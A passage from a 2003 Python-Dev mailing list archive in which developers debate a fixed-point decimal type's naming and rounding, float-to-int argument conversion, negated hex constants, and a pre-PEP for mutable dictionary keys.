make arbitrary object associations and > re-associations when crossing the bridge between environments, I > believe weakref would allow us to maintain a reference map as long as > we could grab the 'string is now going away' callback to update the > weakref map when the string is deallocated Would you be okay with only weak refs to unicode objects? Either way, you have to start by submitting a patch (referring to this thread). > - ability to subclass string objects or the ability to add a hunk > of data-- the reference to the 'alien' string object-- to any string > object. You can do that in C, if you know how. The trick is to set tp_itemsize to 4 bytes extra, and then index from the end (rounding down). See how _PyObject_GetDictPtr() works when the dict offset is negative (in practice it will always be -4). > Either one would work equally as well... whether or not they are easy > to do, I have not a clue. Who knows. --Guido van Rossum (home page: http://www.python.org/~guido/) From ping@zesty.ca Wed Feb 5 20:19:59 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Wed, 5 Feb 2003 14:19:59 -0600 (CST) Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: On Wed, 5 Feb 2003, Tim Peters wrote: > > 2. Turn 'precision' into a read-only attribute. To set precision, > > just make a new number with decimal(x, new_precision). > > The existing set_precision() name still seems fine, though. It's not > necessarily a "new" precision; set_precision says what it means. Methods named "set-whatever" are typically understood to change a component of something. If this must be done with a method, the method should be called something like "with_scale(x)" instead of "set_scale(x)". But i think the method is unnecessary -- the constructor already provides a perfectly good way to make a new number with an altered precision, so why provide a second way to do the same thing? There should be OOWTDI. > > 3. But don't call it 'precision'. The word 'precision' usually > > means either the total number of significant digits, or the > > least significant distinguishable unit. What we're talking > > about (number of digits after the decimal point) is neither. > > I believe the correct term is 'scale' (from SQL). See also > > http://www2.hursley.ibm.com/decimal/. > > Opposed. Users had no trouble understanding what precision means in this > context (the module has been in use for a few years). That's not an argument that 'precision' is the right name. That's just a claim that we can confuse people into believing that 'precision' is not so bad. 'precision' is simply the *wrong word*. Using it would create confusion. Let's use the correct word while we have the option to do so. pre-ci-sion, n. 1. The state or quality of being precise; exactness. 2. a. The ability of a measurement to be consistently reproduced. b. The number of significant digits to which a value has been reliably measured. -- The American Heritage Dictionary, 4th Edition. In the context of floating-point numbers, which i think is likely the most common context for programmers to encounter this word, 'precision' refers to significant digits. And in the context of SQL, which will probably be familiar to a significant part of this type's target audience, 'precision' also refers to significant digits. The attribute we're talking about represents something *completely different*. > "no public methods" is a non-goal to me. [...and later...] > Please drop this one -- "no methods" remains a non-goal. Strings didn't > have methods either, now use of string methods is ubiquitous, and Guido > approved of adding methods to numbers too years ago (but nobody ever got > around to adding some; e.g., long.numbits()). Sorry, i didn't express myself very well. I'm not arguing for "zero methods just for the sake of zero methods". My position is "no unnecessary methods". Actually it's "no unnecessary anything" -- the overall idea is to make the type as minimal as possible. If we can get away with few methods, or no methods at all, so much the better. For example, i'm arguing against a set_precision/set_scale/with_scale method on the grounds of TOOWTDI, not because i have a particular dislike for all methods. > > and just one attribute -- hence the least possible burden on a > > future version of Python, if this type eventually becomes built-in. > > (And the least possible burden is a good goal in general anyway.) > > I hope that an implementation of Mike Cowlishaw's nascent standard gets that > honor instead. Sure. We should still aim for minimality though. > > 6. No global mutable state. That means no global settings for > > default precision or rounding mode. Either pick a standard > > precision or always require the second constructor argument. > > Rounding mode is a tougher problem; i see two solutions: > > > > (a) Eliminate variable rounding; always round half to even. > > Too unrealistic to consider -- a slew of silly rounding modes is a > requirement for commercial use. Okay, granted. > > (b) Set rounding function as an attribute of the number. > > Bleech. Can you, er, elaborate? And, can we reduce the issue to the rounding mode? Can we agree on no global mutable default precision, at least? The cost is minimal, and the introduction of a commonly-mutated default would be dangerous and expensive in the long run. > Tough luck. Practicality beats purity here: the pure solution is to pass a > "numeric context" object to each operation, which some implementations > actually require. The resulting source code is tedious and unreadable. The > practical alternative is what you live with every day in FP arithmetic, yet > don't even notice: I don't notice it only because i don't ever care to change the rounding mode. If i did try, i'd be in trouble. Same with the decimal fixed-point type: if no one wants to change the rounding mode, no one notices. I'm assuming we both believe that people will want to adjust rounding modes more often with fixed-point than with floating-point. The question is what happens to people who do mess with such things. Should such people find interoperability impossible, or merely tedious? In such a dilemma, i'm arguing for tedious. I feel pretty hard-line about the default precision, but i may be willing to concede the rounding issue if you have a good story for interoperability. -- ?!ng From guido@python.org Wed Feb 5 21:36:03 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 16:36:03 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: Your message of "Wed, 05 Feb 2003 16:10:45 EST." <15937.32213.2274.292336@gargle.gargle.HOWL> References: <200302051905.h15J51C29854@odiug.zope.com> <15937.32213.2274.292336@gargle.gargle.HOWL> Message-ID: <200302052136.h15La3W06575@odiug.zope.com> > >>>>> "GvR" == Guido van Rossum writes: > > GvR> The bad thing is that this bug is already in all versions of > GvR> Python 2.2, as well as in Python 2.3a1. > > So how did you find it? Was a bug report or random noodling? Was > someone actually bit by it? I'm curious but I don't have a > recommendation since I'd never write something like this (hex > constants always seem unsigned to me). > > -Barry I don't recall how I found it -- I think someone mentioned it to me. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Wed Feb 5 21:45:08 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 16:45:08 -0500 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: [Ka-Ping Yee] > Methods named "set-whatever" are typically understood to change a > component of something. If this must be done with a method, the method > should be called something like "with_scale(x)" instead of "set_scale(x)".\ I still like set_precision(). You ignore that this module has happy users -- I know that the current names make sense to them. I don't know that abstract arguments will. > But i think the method is unnecessary -- the constructor already > provides a perfectly good way to make a new number with an altered > precision, so why provide a second way to do the same thing? There > should be OOWTDI. It's a dedicated method for a common case. I doubt many (if any) current module users realize that precision can be changed via the constructor, and doing it that way seems strained even to me. Presumably you would be happier then if the constructor lost this ability. > ... > That's not an argument that 'precision' is the right name. That's > just a claim that we can confuse people into believing that 'precision' > is not so bad. I don't care whether it's "right", I only care that it's proven itself to work in practce. > ... > The attribute we're talking about represents something *completely > different*. As I said before, existing users have had no problems with this. >>> (b) Set rounding function as an attribute of the number. >> Bleech. > Can you, er, elaborate? Desired rounding is a function of the operand(s) and the operation they're combined with. The idea that there's a "round to even" 4.1 and a "add a half and chop" 4.1 is simply bizarre. It would make *some* kind of sense to say there are "round to even" and "add a half and chop" flavors of the addition operator, but then that multiplies too. Real apps overwhelmingly want "round to even" on every operation over some stretch, or overwhelmingly want "add a half and chop" rounding on every operation over some stretch. > And, can we reduce the issue to the rounding mode? Can we agree on > no global mutable default precision, at least? FixedPoint never had global mutable default precision, and I don't believe Doug added it. The default precision is 2, period. Cowlishaw's proposal has other kinds of "input state", though. > ... > I'm assuming we both believe that people will want to adjust rounding > modes more often with fixed-point than with floating-point. I don't, at least not in a problematic sense. A commerical app has to adhere to financial rounding rules that, like time zone rules, are often more informed by arbitrary political foolishness than sense. I expect the typical case is for an app to set the rounding mode once at its start, and never change it again. > The question is what happens to people who do mess with such things. > Should such people find interoperability impossible, or merely tedious? Tedious, surprising, and error-prone, but easy and pleasant for most people most of the time. > ... > I feel pretty hard-line about the default precision, but i may be willing > to concede the rounding issue if you have a good story for interoperability. There isn't a "default precision issue" that I can see, unless you object to the current default of 2; if "interoperability" is a real issue I expect that one of the module's users might have mentioned it by now . From guido@python.org Wed Feb 5 21:48:56 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 16:48:56 -0500 Subject: [Python-Dev] Re: Passing floats to "i" parser marker In-Reply-To: Your message of "Wed, 05 Feb 2003 12:43:02 PST." <3E417756.3020205@shinners.org> References: <3E417756.3020205@shinners.org> Message-ID: <200302052149.h15Lmud06756@odiug.zope.com> > for my personal extension code, i actually benefit from the features > of automatic float-to-int conversion. Can you explain the situation more? What's your application? Where do the floats come from? > in the same context, i'm wondering if the "s" formatting should change > also? currently you can pass unicode or string objects and they get > properly converted. i use so little of unicode my input may be totally > invalid, but it seems float->int is approximate to unicode->string ? No, when the unicode->string conversion would lose information, an exception is raised. > lastly, as a contrived example. to insert an item in the middle of a > list is pretty simple, > mylist.insert(len(mylist)/2, myval) > with the new integer division, this would pass a float into an integer > argment(?). just food for thought, wondering what the expected behaviour > of this would be? You should be writing len(mylist)//2. --Guido van Rossum (home page: http://www.python.org/~guido/) From just@letterror.com Wed Feb 5 22:21:20 2003 From: just@letterror.com (Just van Rossum) Date: Wed, 5 Feb 2003 23:21:20 +0100 Subject: [Python-Dev] Re: Passing floats to "i" parser marker In-Reply-To: <200302052149.h15Lmud06756@odiug.zope.com> Message-ID: Guido van Rossum wrote: > > for my personal extension code, i actually benefit from the features > > of automatic float-to-int conversion. > > Can you explain the situation more? What's your application? Where > do the floats come from? I think one of the reasons the exception got rolled back to a warning was a comment on the bug by Jack. He mentioned the MacPython IDE (for which I'm mostly to blame) in which there are lots of calls to Mac toolbox functions that take geometric values (coordinates, rectangles) where the units are pixels. There are plenty of cases where the intermediates for these values have to be floats and it's simply darned convenient they are chopped to ints. I'm not saying this is good in _general_, it's just an example of (properly!) working code that is out there. It's quite a shift to make sure we feed these calls with ints as often the values are part of tuples (to represent coordinates or rectangles). (Jack, here is an idea: why don't we change these Point and Rect converters to take floats, and do the downcasting in C? Perhaps this is less work than fixing all Python code. It would actually be quite appropriate for these calls.) Just From pete@shinners.org Wed Feb 5 22:37:39 2003 From: pete@shinners.org (Pete Shinners) Date: Wed, 05 Feb 2003 14:37:39 -0800 Subject: [Python-Dev] Re: Passing floats to "i" parser marker In-Reply-To: References: Message-ID: <3E419233.9030606@shinners.org> Just van Rossum wrote: > ... > which I'm mostly to blame) in which there are lots of calls to Mac > toolbox functions that take geometric values (coordinates, rectangles) > where the units are pixels. There are plenty of cases where the > intermediates for these values have to be floats and it's simply darned > convenient they are chopped to ints. I'm not saying this is good in > ... coincidentally, this is nearly the same reason i am using the automatic truncation. converting arbitrary object positions into 'pixel' positions. it is convenient to not worry about your coordinate types, just passing them in and getting 'the right thing'. assuming the current behavior is 'the right thing', which is the issue in question. i am not opposed to the stricter handling of integer arguments, but cannot see any similar alternatives to what we have now. From guido@python.org Wed Feb 5 22:44:45 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 17:44:45 -0500 Subject: [Python-Dev] Re: Passing floats to "i" parser marker In-Reply-To: Your message of "Wed, 05 Feb 2003 14:37:39 PST." <3E419233.9030606@shinners.org> References: <3E419233.9030606@shinners.org> Message-ID: <200302052244.h15Mij914288@odiug.zope.com> > Just van Rossum wrote: > > ... > > which I'm mostly to blame) in which there are lots of calls to Mac > > toolbox functions that take geometric values (coordinates, rectangles) > > where the units are pixels. There are plenty of cases where the > > intermediates for these values have to be floats and it's simply darned > > convenient they are chopped to ints. I'm not saying this is good in > > ... [Pete Shinners] > coincidentally, this is nearly the same reason i am using the automatic > truncation. converting arbitrary object positions into 'pixel' > positions. it is convenient to not worry about your coordinate types, > just passing them in and getting 'the right thing'. > > assuming the current behavior is 'the right thing', which is the issue > in question. i am not opposed to the stricter handling of integer > arguments, but cannot see any similar alternatives to what we have now. I still believe that pixels are an unusual use case (and maybe the only use case where the "accidental" current behavior is useful rather than detrimental). I'd be glad to add an alternative PyArg_* code that truncates floats. Hm, I also still owe a code (codes?) that don't range check. Also to a Mac developers. What is the Mac's secret? --Guido van Rossum (home page: http://www.python.org/~guido/) From bac@OCF.Berkeley.EDU Wed Feb 5 23:09:35 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Wed, 5 Feb 2003 15:09:35 -0800 (PST) Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <15937.11484.904527.8482@gargle.gargle.HOWL> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <15937.11484.904527.8482@gargle.gargle.HOWL> Message-ID: [Barry A. Warsaw] > > >>>>> "GvR" == Guido van Rossum writes: > > GvR> There's also the tension between making the language simpler > GvR> (to learn) and making programs simpler (to read). For > GvR> example, *if* (and that's still a very big if) we were to add > GvR> a language feature that would let you write > > | synchronized(lock): > | BLOCK > > GvR> instead of > > | lock.aqcuire() > | try: > | BLOCK > | finally: > | lock.release() > > The real problem is that the second example isn't even correct, if you > want to be totally anal about it. ;) You really need an atomic > operation to acquire the lock and enter the try block, which the > second example doesn't give you. It's a narrow window of failure but > it exists, and you have to decide whether you care. So the first > example doesn't /just/ improve readability, it improves correctness > too (assuming it is also atomic). > What about having keywords that denote that something be executed as atomic? I assume the issue is being in the middle of executing bytecode and then switching threads in the middle of the bytecode for the method execution. Would it be reasonable (and feasible) to implement some way to shut down thread switching in the interpreter and thus guarantee that something gets fully executed before allowing thread switching (I am thinking of something along the lines of a lock that keeps track of the number of thread switching shutdown calls and then turns back on switching when the counter hits back down to 0). Or am I missing something critical and thus I should just shut up? =) -Brett From just@letterror.com Wed Feb 5 23:54:26 2003 From: just@letterror.com (Just van Rossum) Date: Thu, 6 Feb 2003 00:54:26 +0100 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries Message-ID: Here's a quick pre-PEP. Allow mutable objects as dictionary keys in certain cases by adding a new protocol. dict.__setitem__() and __contains__() would work like this bit of pseudo code: def __setitem__(self, key, value): if not hashable(key): if hasattr(key, "__immutable_copy__"): key = key.__immutable_copy__() else: raise TypeError, "unhashable key" ...insert value with key into dict... def __contains__(self, key): if not hashable(key): if hasattr(key, "__temporary_immutable__"): key = key.__temporary_immutable__() else: raise TypeError, "unhashable key" ...test for key membership... (other methods would be similar) When implemented in C in dictobject.c, this would add no overhead for the "normal" case (when keys _are_ directly hashable). The __temporary_immutable__ part of the protocol is needed to avoid unneccesary copying in those cases where the key isn't actually inserted into the dict, but is only used for membership testing. It would return a wrapper around the mutable object, defining __eq__ and __hash__. (This idea is stolen from the sets.py module.) If an implementer doesn't care about this efficiency, __temporary_immutable__ can be an alias to __immutable_copy__. Use Cases: - sets.py could be written more efficiently and/or could be more easily be rewritten in C. - Again, the troubles of bridging Python to Objective-C have triggered this idea. Due to the nature of Objective-C in general, and Cocoa in particular, we can never be sure beforehand whether a string is mutable or not. We can detect mutability at runtime, but depending on this is dangerous as it exposes an implementation detail that may change between releases of _any_ API that returns strings. Therefore code that works in one setup may break in another, or even in the the same setup after an arbitrary library upgrade, simply because an API suddenly returns a mutable string where it didn't before. Yes this sucks, but it's the way it is. Backwards compatibilty: 100%. Overhead added None Implementation There's quite a bit of code duplication in those areas of dictobject.c that matter for this proposal, so implementing it will take longer than the 10 minutes I originally estimated . Perhaps this is a good opportunity to refactor these bits into inline functions? Not being a C guru I can't judge whether this is possible or desirable with the set of compilers that Python must be built with. Just From whisper@oz.net Thu Feb 6 00:29:42 2003 From: whisper@oz.net (David LeBlanc) Date: Wed, 5 Feb 2003 16:29:42 -0800 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: Message-ID: Displaying FixedPoints: Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman >>> from fixedpoint import * >>> a = FixedPoint(2.135) >>> print '%d' % (a) 2 >>> print '%4d' % (a) 2 >>> print '%e' % (a) 2.130000e+000 >>> print '%f' % (a) 2.130000 >>> print '%2f' % (a) 2.130000 >>> print '%.2d' % (a) 02 >>> print '%s' % (a) 2.13 >>> a.set_precision(4) >>> print '%s' % (a) 2.1300 I naively expected the %d to produce 2.315 - and it would be nice, after the manner of C, to be able to specify the precision (or scale if you prefer) of the output as I attempted in '%.2d' and also (not shown) '%2.2d'. This might need some work since %d is a field filler spec. It would be nice if given 2.135: %d 2 - int part %2d __2 - filled int part (_'s represent spaces) %.2d 2.13 - ?rounded? to two places %2.2d __2.13 - filled and ?rounded? to 2 places %2.5d __2.13500 - filled and zero extended %.3d 2.135 - etc. If rounding vs. truncation is done for a 'short' (less than actual precision) specifier , then string formatting needs to know something about FixedPoints IMO. Displaying a frac part would require extraction and use of 'd' as in a normal int. The '%s' output just looks suspicious, especially after setting the precision to 4! The '%s' smells of bug to me, although I see the code forces the initializer value to round to DEFAULT_PRECISION if a precision isn't given ("you lost my work!"). IMO the precision of the initializer should become the precision of the value and not the default if a (seems redundant to me) precision isn't given. David LeBlanc Seattle, WA USA N.B: this needs to be added to the distro (assuming it lives in lib/site_packages/fixedpoint?): #__init__.py ---------------------------- # FixedPoint from fixedpoint import * From tdelaney@avaya.com Thu Feb 6 00:42:20 2003 From: tdelaney@avaya.com (Delaney, Timothy C (Timothy)) Date: Thu, 6 Feb 2003 11:42:20 +1100 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com> > From: Guido van Rossum [mailto:guido@python.org] >=20 > It's quite unsettling: >=20 > >>> x =3D 0xffffffff > >>> x > -1 > >>> -x > 1 > >>> -(0xffffffff) > 1 > >>> -0xffffffff=20 > -4294967295L <<<<-------- !!! > >>>=20 This is my main concern - that there is an inconsistency between = -(0xffffffff) and -0xffffffff. I think whatever is decided, this inconsistency should be fixed for 2.3 = (and possibly back-ported to 2.2). So we end up with either 0xffffffff =3D=3D -1 -0xffffffff =3D=3D 1 or 0xffffffff =3D=3D 4294967295L -0xffffffff =3D=3D -4294967295L and 0xffffffff is going to stay as -1 until 2.4 ... Tim Delaney From tim.one@comcast.net Thu Feb 6 00:40:55 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 19:40:55 -0500 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: [Kevin Jacobs] > I'm finding that this is a problem in education, not desire. Once you > educate developers, they will demand decimal types. Unfortunately, I've > found that many db developers are completely ignorant of the > caveats of both fixed and floating point arithmetic. They naively "just > want things to work" and aren't too worried about the details or the > corner-cases. (I blame this on the cruddy computer science content of > many CIS degree programs, but that is a topic for a different rant.) Or they have a COBOL background. COBOL has always supported decimal arithmetic, and it can be hard to get across to a COBOL'er that getting the pennies right can be a problem in other languages. It's part of the air they breathe, beneath conscious attention. > Nevertheless, I would like to seeing proper fixed point support in the > Python standard library What does "proper" mean? The implementation of FixedPoint was easy for me, but getting users to spell out what they really needed proved impossible. "Proper" isn't a specification all by itself . > with integration advise in a DB-API extension standard or PEP. As it > is, our applications patch many of the DB-API modules to add support > for our own homebrew decimal types, and it is fairly cumbersome to > maintain. Is FixedPoint usable for you? This person seemed to think it helped: http://mailman.tux4web.de/pipermail/orm-devel/2002-December/000083.html """ o I've created a numeric datatype and a numericColumn. They use the FixedPoint module you can find at http://fixedpoint.sourceforge.net/html/lib/module-FixedPoint.html This lets you use arbitrary precision/exact math just like pgsql does internally. """ From guido@python.org Thu Feb 6 01:00:37 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 20:00:37 -0500 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: "Your message of Wed, 05 Feb 2003 16:29:42 PST." References: Message-ID: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net> > Displaying FixedPoints: > > Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman > >>> from fixedpoint import * > >>> a = FixedPoint(2.135) > >>> print '%d' % (a) > 2 > >>> print '%4d' % (a) > 2 > >>> print '%e' % (a) > 2.130000e+000 > >>> print '%f' % (a) > 2.130000 > >>> print '%2f' % (a) > 2.130000 > >>> print '%.2d' % (a) > 02 > >>> print '%s' % (a) > 2.13 > >>> a.set_precision(4) > >>> print '%s' % (a) > 2.1300 > > I naively expected the %d to produce 2.315 Eh? In C as well as Python, %d means decimal *integer*. The format specifier to use fixed point notation is %f. Please don't change this! --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Thu Feb 6 01:12:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 20:12:20 -0500 Subject: [Python-Dev] RE: FixedPoint and % specifiers. In-Reply-To: Message-ID: There are no ways for classes to hook into % formats, short of that if you use %d, __int__ will be called; if you use a float format code, __float__ will be called; if you use %s, __str__ will be called. [David] > Displaying FixedPoints: > > Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman > >>> from fixedpoint import * > >>> a = FixedPoint(2.135) Note that the docs strongly advise against initializing a FixedPoint from a float. Until a decimal literal notation is added to the core (if ever), you're much better off passing a string literal. The docs contain examples of why. > >>> print '%d' % (a) > 2 > >>> print '%4d' % (a) > 2 > >>> print '%e' % (a) > 2.130000e+000 > >>> print '%f' % (a) > 2.130000 > >>> print '%2f' % (a) > 2.130000 > >>> print '%.2d' % (a) > 02 > >>> print '%s' % (a) > 2.13 > >>> a.set_precision(4) > >>> print '%s' % (a) > 2.1300 > > I naively expected the %d to produce 2.315 Why? %d is an integer format code, so of course it produces an integer. You can't start reading, e.g., "%d" as "decimal" just because you imported a module . > - and it would be nice, after the manner of C, to be able to specify the > precision (or scale if you prefer) of the output as I attempted in > '%.2d' and also (not shown) '%2.2d'. This might need some work since > %d is a field filler spec. It would be nice if given 2.135: > %d 2 - int part > %2d __2 - filled int part (_'s represent spaces) > %.2d 2.13 - ?rounded? to two places > %2.2d __2.13 - filled and ?rounded? to 2 places > %2.5d __2.13500 - filled and zero extended > %.3d 2.135 - etc. Hooks would have to be added to the core to support any of that. Piles of new features requiring core changes are out of scope for 2.3 at this stage. > ... > The '%s' output just looks suspicious, especially after setting the > precision to 4! The '%s' smells of bug to me, although I see the > code forces the initializer value to round to DEFAULT_PRECISION if a > precision isn't given ("you lost my work!"). IMO the precision of the > initializer should become the precision of the value and not the > default if a (seems redundant to me) precision isn't given. floats have no inherent precision in this sense, and the number you passed to the constructor was not decimal 2.135. Appendix A of the Tutorial explains this; the number you actually passed was 1201898150554501 / 2**49 == 2.1349999999999997868371792719699442386627197265625 and FixedPoint rounded that correctly to 2 decimal digits after the radix point. You would have been more surprised if FixedPoint had said the precision was 49, but it does require exactly 49 digits after the decimal point to capture your input number without loss of information. >>> print FixedPoint.FixedPoint(2.135, 51) 2.134999999999999786837179271969944238662719726562500 >>> print FixedPoint.FixedPoint("2.135", 51) 2.135000000000000000000000000000000000000000000000000 Now forget literals -- they really aren't very interesting. You normally have computed quantities, and there's no hope of *guessing* "the inherent precision" from those, unless they're also FixedPoints and so explicitly support a reasonable notion of precision. You can't guess this from a float in isolation, and you can't guess anything about how many digits after the decimal point are implied by an integer. You either accept the constructor's default (2), or explicitly tell it how much precision you believe the input has. From tim.one@comcast.net Thu Feb 6 01:13:40 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 20:13:40 -0500 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido] > Eh? In C as well as Python, %d means decimal *integer*. The format > specifier to use fixed point notation is %f. > > Please don't change this! I sure wouldn't . Note that use of %f ends up calling FixedPoint.__float__(), though, and so sucks users right back into binary fp surprises: >>> t = FixedPoint.FixedPoint(".1") >>> print t 0.10 >>> print "%.17f" % t 0.10000000000000001 >>> float(t) == 0.1 True >>> FixedPoint does the best possible job of converting 1/10 to a float, but it's exactly as surprising as the float literal 0.1 then. From whisper@oz.net Thu Feb 6 01:22:51 2003 From: whisper@oz.net (David LeBlanc) Date: Wed, 5 Feb 2003 17:22:51 -0800 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Let me be the first to state, most emphatically, that I'm not about to change anything, ESPECIALLY the Python core! Besides, I don't have check-in priviledges AFAIK and burgling Tim's pockets for the keys would probably yield only pickles ;) still-nibblingly-yours David LeBlanc Seattle, WA USA > -----Original Message----- > From: guido@python.org [mailto:guido@python.org] > Sent: Wednesday, February 05, 2003 17:01 > To: David LeBlanc > Cc: python-dev@python.org > Subject: Re: [Python-Dev] FixedPoint and % specifiers. > > > > Displaying FixedPoints: > > > > Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32 > > Type "help", "copyright", "credits" or "license" for more information. > > Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman > > >>> from fixedpoint import * > > >>> a = FixedPoint(2.135) > > >>> print '%d' % (a) > > 2 > > >>> print '%4d' % (a) > > 2 > > >>> print '%e' % (a) > > 2.130000e+000 > > >>> print '%f' % (a) > > 2.130000 > > >>> print '%2f' % (a) > > 2.130000 > > >>> print '%.2d' % (a) > > 02 > > >>> print '%s' % (a) > > 2.13 > > >>> a.set_precision(4) > > >>> print '%s' % (a) > > 2.1300 > > > > I naively expected the %d to produce 2.315 > > Eh? In C as well as Python, %d means decimal *integer*. The format > specifier to use fixed point notation is %f. > > Please don't change this! > > --Guido van Rossum (home page: http://www.python.org/~guido/) From nas@python.ca Thu Feb 6 01:33:55 2003 From: nas@python.ca (Neil Schemenauer) Date: Wed, 5 Feb 2003 17:33:55 -0800 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: References: <200302060100.h1610b724964@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030206013354.GA2401@glacier.arctrix.com> Tim Peters wrote: > I sure wouldn't . Note that use of %f ends up calling > FixedPoint.__float__(), though, and so sucks users right back into binary fp > surprises: Perhaps FixedPoint should not have a __float__ method. Instead it could have something like as_float(). That would give people a clue they are getting into trouble. Neil From jacobs@penguin.theopalgroup.com Thu Feb 6 01:29:42 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Wed, 5 Feb 2003 20:29:42 -0500 (EST) Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: On Wed, 5 Feb 2003, Tim Peters wrote: > > Nevertheless, I would like to seeing proper fixed point support in the > > Python standard library > > What does "proper" mean? The implementation of FixedPoint was easy for me, > but getting users to spell out what they really needed proved impossible. > "Proper" isn't a specification all by itself . > > > with integration advise in a DB-API extension standard or PEP. As it > > is, our applications patch many of the DB-API modules to add support > > for our own homebrew decimal types, and it is fairly cumbersome to > > maintain. > > Is FixedPoint usable for you? This person seemed to think it helped: I'm in the process of evaluating it as a replacement for our homebrew decimal package. Once I have a reasonable compatiblity interface, I'll run it through our test suite and let you know. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Thu Feb 6 01:38:29 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 20:38:29 -0500 Subject: [Python-Dev] FixedPoint and % specifiers. In-Reply-To: "Your message of Wed, 05 Feb 2003 20:13:40 EST." References: Message-ID: <200302060138.h161cTL25176@pcp02138704pcs.reston01.va.comcast.net> > I sure wouldn't . Note that use of %f ends up calling > FixedPoint.__float__(), though, and so sucks users right back into > binary fp surprises: Hm, maybe we should have an optional __format_as_float_string__ method that the %f and %g specifiers can use. --Guido van Rossum (home page: http://www.python.org/~guido/) From whisper@oz.net Thu Feb 6 01:43:48 2003 From: whisper@oz.net (David LeBlanc) Date: Wed, 5 Feb 2003 17:43:48 -0800 Subject: [Python-Dev] RE: FixedPoint and % specifiers. In-Reply-To: Message-ID: Well sheesh, I guess this just points to how long it's been since I've done any serious C/C++ involving format specifiers. %f does what I expect given a string initializer of a FixedPoint. It's confusing to think of FixedPoints as really being Floats though. If FixedPoint is going to be oriented towards business app programmers and/or edu-kids, isn't the need to pass a string a bit counter intuitive? Has the parser hacked the arg into a float by the time the __init__ sees it? (I suppose, come to think of it, that's an obvious "yes".) I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of my pre-history, I seem to recall that the money programmers liked that - they _saved_ the round-offs into what was called a "penny register" and accumulated them. When you're dealing with millions, a drip here and a drop there and pretty soon, if you're dishonest, you can add a check to the check processing run for some serious pocket change (this actually happened) ;) More below: > floats have no inherent precision in this sense, and the number you passed > to the constructor was not decimal 2.135. Appendix A of the Tutorial > explains this; the number you actually passed was > > 1201898150554501 / 2**49 == > 2.1349999999999997868371792719699442386627197265625 > > and FixedPoint rounded that correctly to 2 decimal digits after the radix > point. You would have been more surprised if FixedPoint had said the > precision was 49, but it does require exactly 49 digits after the decimal > point to capture your input number without loss of information. > > >>> print FixedPoint.FixedPoint(2.135, 51) > 2.134999999999999786837179271969944238662719726562500 > > >>> print FixedPoint.FixedPoint("2.135", 51) > 2.135000000000000000000000000000000000000000000000000 Ok, so FixedPoint is really just a subterfuge for floats? Seems less than useful to our money and edu-kid users? (I think I'm hinting here that FixedPoint should be a distinct type if it's really going to have the semantics the intended audience expects. That probably kills it for 2.3 I guess.) > Now forget literals -- they really aren't very interesting. You normally > have computed quantities, and there's no hope of *guessing* "the inherent > precision" from those, unless they're also FixedPoints and so explicitly > support a reasonable notion of precision. You can't guess this > from a float > in isolation, and you can't guess anything about how many digits after the > decimal point are implied by an integer. You either accept the > constructor's default (2), or explicitly tell it how much precision you > believe the input has. Agreed - internally, a FixedPoint should retain all it's digits and only have any idea of precision at display time IMO. Dave LeBlanc Seattle, WA USA From esr@thyrsus.com Wed Feb 5 18:43:51 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Wed, 5 Feb 2003 13:43:51 -0500 Subject: [Python-Dev] 